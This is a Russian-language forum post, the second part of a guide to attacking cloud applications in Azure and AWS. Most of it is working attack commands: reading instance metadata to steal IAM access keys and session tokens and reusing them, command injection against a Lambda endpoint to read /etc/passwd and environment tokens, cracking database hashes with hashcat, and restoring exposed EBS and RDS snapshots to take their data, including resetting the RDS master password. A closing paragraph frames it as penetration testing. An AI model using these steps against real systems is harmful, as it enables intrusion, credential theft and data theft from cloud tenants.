The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project

Атака на облака. Гайд по методам взлома приложений в Azure и AWS. Часть 2

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
35
Так как у нас уже имеется доступ к одной из виртуальных машин в Azure, можно попробовать извлечь метаданные. Для этого используем следующую команду:

curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/instance?api-version=2017-08-01&format=text'



Проверим публичный IP-адрес узла:

curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/ins...cIpAddress?api-version=2017-08-01&format=text'



Если у машины есть доступ в интернет, это сильно облегчит задачу злоумышленника. Также можно попробовать собрать данные с помощью OSINT и использовать их для получения доступа извне.

AWS
Кража метаданных из AWS

Так как нам удалось заполучить доступ к Amazon Elastic Compute Cloud (EC2), можно атаковать любой из аспектов EC2 — не только веб-приложения или службы, но и доступ к самому облачному сервису.

INFO

Во время настройки EC2 юзер получает возможность создать пару ключей для SSH. При создании EC2 в инфраструктуре Windows предоставляется файл для RDP и учетная запись. Одна из базовых настроек безопасности — раздел «Группы безопасности», где пользователь может разрешить доступ к определенным портам и определенным IP-адресам, что очень похоже на обычный файрвол.

EC2 metadata — это данные об инстанции EC2. Эти данные хранятся в незашифрованном виде и могут быть извлечены с EC2, если имеется локальный доступ к машине. Приведу пример, как с помощью уязвимости в серверной части можно заполучить интересную информацию об учетных записях. Можно воспользоваться curl, чтобы проверить метаданные на инстанции EC2.

curl -v http://169.254.169.254/

Вывод этой команды выглядит так, как показано на скриншоте ниже.



IP-адрес 169.254.169.254 — это локальный адрес по умолчанию, который может быть доступен только с самой инстанции. Каждый продукт AWS имеет свой уникальный ID. Получить его можно с помощью следующей команды:

curl http://169.254.169.254/latest/meta-data/ami-id

Чтобы проверить публичный адрес EC2, используй команду

curl http://169.254.169.254/latest/meta-data/public-hostname

Команда Ec2-metadata дает возможность просмотреть общие метаданные EC2.



Чтобы узнать публичный IP-адрес, используй команду Ec2-metadata -v. Имея публичный адрес, можно выполнить атаку извне. Для начала стоит проверить, доступен ли IP, с использованием Nmap.



Оказывается, на хосте работает SSH, к тому же уязвимая версия. Это подсказывает нам еще несколько возможных векторов атак.

Кража учетной записи IAM и настройка удаленного доступа

Чтобы узнать данные IAM, используй команду вида

curl http://169.254.169.254/latest/meta-data/iam/info

Получить расширенные данные, включающие accessID, SecretAccessKey, Token, позволяет команда

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2acess



Для успешной атаки с помощью учетной записи IAM нужно иметь следующие данные:
  • aws_access_key_id;
  • aws_secret_access_key;
  • aws_session_token.
Чтобы настроить скомпрометированный IAM-аккаунт для удаленного доступа, для начала нужно создать новый профиль с использованием краденых данных:

aws configure --profile hackme

Профиль создан, но еще нужно добавить токен для полноценной работы удаленного доступа. Его можно прописать вручную, изменив файл ~/.aws/credentials.

На одной машине можно создать неограниченное количество профилей, главное — не меняй профиль по умолчанию.

AWS — выполнение действий на машине с помощью nimbostratus

Nimbostratus был создан как утилита тестирования в AWS. Но эта тулза может использоваться для кражи учетных данных на скомпрометированных EC2, кражи метаданных, для создания IAM-пользователя, работы с образами RDS и многих других задач. Например, можно получить метаданные с использованием nimbostratus следующим способом:

python nimbostratus dump-ec2-metadata



Эксплуатация сервисов
Эксплуатация уязвимости в AWS Lambda

AWS Lambda — это платформенная услуга Amazon Web Services, предоставляется она по принципу «функция как услуга». На что стоит обратить внимание при тестировании AWS Lambda?
  • Доступ к Lambda предоставляется через сетевой шлюз (gateway) или же через AWS-триггеры.
  • Чаще уязвимости обнаруживаются при тестировании на инъекции, фаззинге и мисконфигурациях серверной части.
Например, при вводе точки с запятой в строку для URL и какой-либо команды видно, что эта команда исполняется из-за наличия уязвимости на стороне сервера.

Например, запустить команду id на удаленной машине можно следующим образом.

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;id;w

А с помощью следующей команды можно заглянуть в /etc/passwd.

curl https://API-endpoint/api/hello;cat /etc/passwd;w

Чтобы скопировать эту информацию в текстовый файл, используем следующую директиву.

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;cat /etc/passwd;w > pass.txt

Еще одна важная особенность Lambda — это временный токен, который предоставляется в виде переменной среды. Его можно проверить командой printenv:

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;printenv;w


Когда учетные данные AWS украдены и добавлены в интерфейс командной строки AWS, можно попытаться загрузить lambda-код. Это необходимо, если ты хочешь узнать, какие lambda-функции выполняются в целевой среде, а также попытаться найти конфиденциальную информацию.

Перечислить lambda-функции, которые доступны для текущего профиля, можно с помощью команды aws lambda list-functions. Ее вывод показан на следующем скриншоте.



Чтобы получить ссылку на загрузку lambda-функции, используй эту команду:

aws lambda get-function --function-name <FUNCTION-NAME>

Как только код будет загружен на твою машину, можно проверить, содержит ли он уязвимости и конфиденциальную информацию.

Эксплуатация облачных хранилищ в AWS

Облачные хранилища наиболее интересны для злоумышленника. AWS S3 и EBS (Elastic Block Store) довольно часто содержат уязвимости и неправильные конфигурации, которые могут быть обнаружены при сборе информации о цели.

AWSBucketDump — это инструмент для быстрого сбора данных о AWS S3. Он очень похож на SubBrute, так как работает по аналогичной схеме и брутфорсит AWS S3. Кроме того, в AWSBucketDump есть фичи, которые помогают автоматизировать поиск и загрузку интересной информации. Для запуска AWSBucketDump используется следующая команда:

python AWSBucketDump.py -D -l BucketNames.txt -g s.txt

Скрипт создаст файл interesting_file.txt, в котором сохранятся результаты его работы.

А как узнать, существует ли вообще интересующее нас хранилище S3? Можно выбрать любой AWS URL и проверить HTTP response. Существующая корзина вернет нам ListBucketResult или AccessDenied.



Если HTTP Response на $ bucket.s3.amazonaws.com показывает NoSuchBucket, это означает, что корзина не существует.



С помощью утилиты AWS можно запрашивать данные о S3 ACL: для этого используется команда aws s3api get-bucket-acl --bucket bucket-name.



Для объектов, которые имеют открытый доступ на чтение и запись, в ACL будет указано FULL_CONTROL. Ты можешь создавать файлы в такой корзине удаленно, используя любую учетную запись AWS. Можно залить файл при помощи утилиты aws с использованием любого профиля, а потом проверить наличие этого файла:

aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
aws s3 ls s3://bucket-name-here --profile newuserprofile


Вот как эта операция выглядит в консоли.



Amazon Elastic Block Store (Amazon EBS) предоставляет постоянные тома блочных хранилищ для использования с Amazon EC2 в облаке AWS. Каждый том Amazon EBS автоматически реплицируется в своей зоне доступности. Чтобы обнаружить общедоступные снимки EBS с определенными паттернами, можно использовать grep:

aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"



Получить зону доступности и ID EC2 позволяет следующая команда:

aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine

Теперь можно создать новый том с использованием обнаруженного снапшота:

aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone us-east-1b

После создания тома обрати внимание на VolumeID. Можно подключить созданный нами новый том к компьютеру EC2 с использованием ID-инстанции EC2 и ID нового тома. Для этого используется следующая команда:

aws ec2 attach-volume --device /dev/sdh --instance-id i-05a977acccaa51bd6 --volume-id vol-018bd5c117c410f23

Для проверки состояния служит команда aws ec2 describe-volumes --filters Name=volume-id,Values=vol-018bd5c117c410f23 — если все в порядке, сервер ответит in use.



Когда том подключен, можно определить раздел с помощью lsblk и смонтировать его для дальнейшего анализа.

Реляционные базы данных AWS

Облачные базы данных в случае с AWS — это служба реляционных баз данных, которая позволяет пользователям создавать базы в облаке и подключаться к ним из любого места. Нередко в конфигурации БД допускают ошибки, которые могут использовать атакующие.

Чаще всего неправильные конфигурации включают в себя слабую политику безопасности и слабые пароли, что делает RDS общедоступным.

Ниже приведен пример эксплуатации слабого пароля и ролей доступа: при эксплуатации веб-приложения удалось найти SQL-инъекцию и заполучить хеши пользователя.



Определить тип хеша можно с помощью утилиты hash-identifier. Например, мы можем запустить hashcat, чтобы подобрать пароль для пользователя rdsroot, следующей командой:

hashcat -m 300 -a 0 D1DBA23DC29396BCDAE208D3AF7AF9F065CF3CC4 wordlist.txt

Подключиться к базе данных можно, используя обычный клиент MySQL.



Как только доступ к RDS получен, можно попытаться дампнуть базу данных. Есть много способов этого достичь c помощью SQL-инъекции или через AWS-консоль, которая позволяет монтировать RDS-образ. Для получения доступа к данным можно сбросить пароль этих образов.

Снимки RDS могут быть доступны извне. Если доступен ID образа, этот образ может быть смонтирован на машину, с которой производится атака. Найти нужный ID поможет утилита AWS, команда вот такая:

aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup



Чтобы восстановить образ как новую инстанцию, используем следующую команду:

aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b

Как только образ восстановлен, можно проверить, все ли работает, а потом попробовать подключиться:

aws rds describe-db-instances --db-instance-identifier recoverdb

Параметр DBInstanceStatus показывает статус инстанции. Как только бэкап завершится, значение DBInstanceStatus станет available.



Теперь можно сбросить пароль для MasterUsername и залогиниться:

aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately

Проверить, работает ли MySQL RDP и разрешает ли подключения, можно с помощью команды nc rds-endpoint 3306 --zvv. Чтобы подключиться к базе данных и извлечь данные из нее, чаще всего используют обычный клиент MySQL.

Облачное хранилище Azure

Azure Storage предоставляет облачное хранилище, которое включает в себя объекты Azure drops, хранилища data lake, файлы, очереди и таблицы. Неправильные конфигурации могут привести к утечке конфиденциальных данных и потенциальному риску других сервисов.

Azure drops являются эквивалентом AWS S3 и позволяют хранить объекты. Доступ к этим объектам может быть получен через HTTP с использованием созданного URL.

На приведенной ниже картинке можно увидеть пример неправильных конфигураций прав доступа к файлам в хранилище Azure.



Неправильные привилегии позволяют увидеть, какие файлы хранятся в Azure drops, а также дают возможность удалять файлы. В результате могут быть потеряны конфиденциальные данные и нарушена работоспособность других сервисов.

Адрес Azure drops представляет собой FQDN, который является полным доменным именем и содержит запись типа A. Она, в свою очередь, указывает на принадлежность к IP-адресу Microsoft. Поэтому для поиска объектов Azure drops можно использовать любой инструмент перечисления поддоменов, который проверяет либо наличие записи A для доменного имени, либо коды состояния HTTP.

Можно использовать такие утилиты, как dnsscan. Для достижения лучшего результата желательно использовать собственные словари. С базовым словарем поиск поддоменов выполняется такой командой:

python dnsscan.py -d blob.core.windows.net -w subdomains-100.txt

Результат ее работы показан на следующей иллюстрации.



Нетрудно отыскать и доступные из сети облачные базы данных Azure. Имя конечной точки сервера базы данных SQL Azure имеет вид ??.database.windows.net. Поиск в интернете для этой конкретной строки может дать интересные результаты. По сути, имена конечных точек базы данных и потенциальные учетные записи можно найти с помощью Google или поиска поддоменов.

Заключение

Если ты перенес инфраструктуру в облако, это не значит, что можно полностью забыть обо всех проблемах, связанных с безопасностью. Они никуда не исчезли. В этой статье мы рассмотрели основные приемы, которые хакеры могут использовать при атаках на приложения, расположенные в Azure. Эти знания помогут тебе избежать основных рисков, но никто не угадает, когда появятся новые. Так что расслабляться не стоит!

В гибридной облачной среде, где некоторые данные хранятся локально, а некоторые в облаках, к вопросам ИБ следует подходить комплексно. И тестирование на проникновение — наилучший способ оценить, насколько хорошо решены вопросы защиты данных. Оно позволяет выявить слабые элементы, способные поставить под угрозу защиту всей инфраструктуры организации. Защита от утечки данных и соблюдение правил безопасности требуют постоянной бдительности.
 
Верх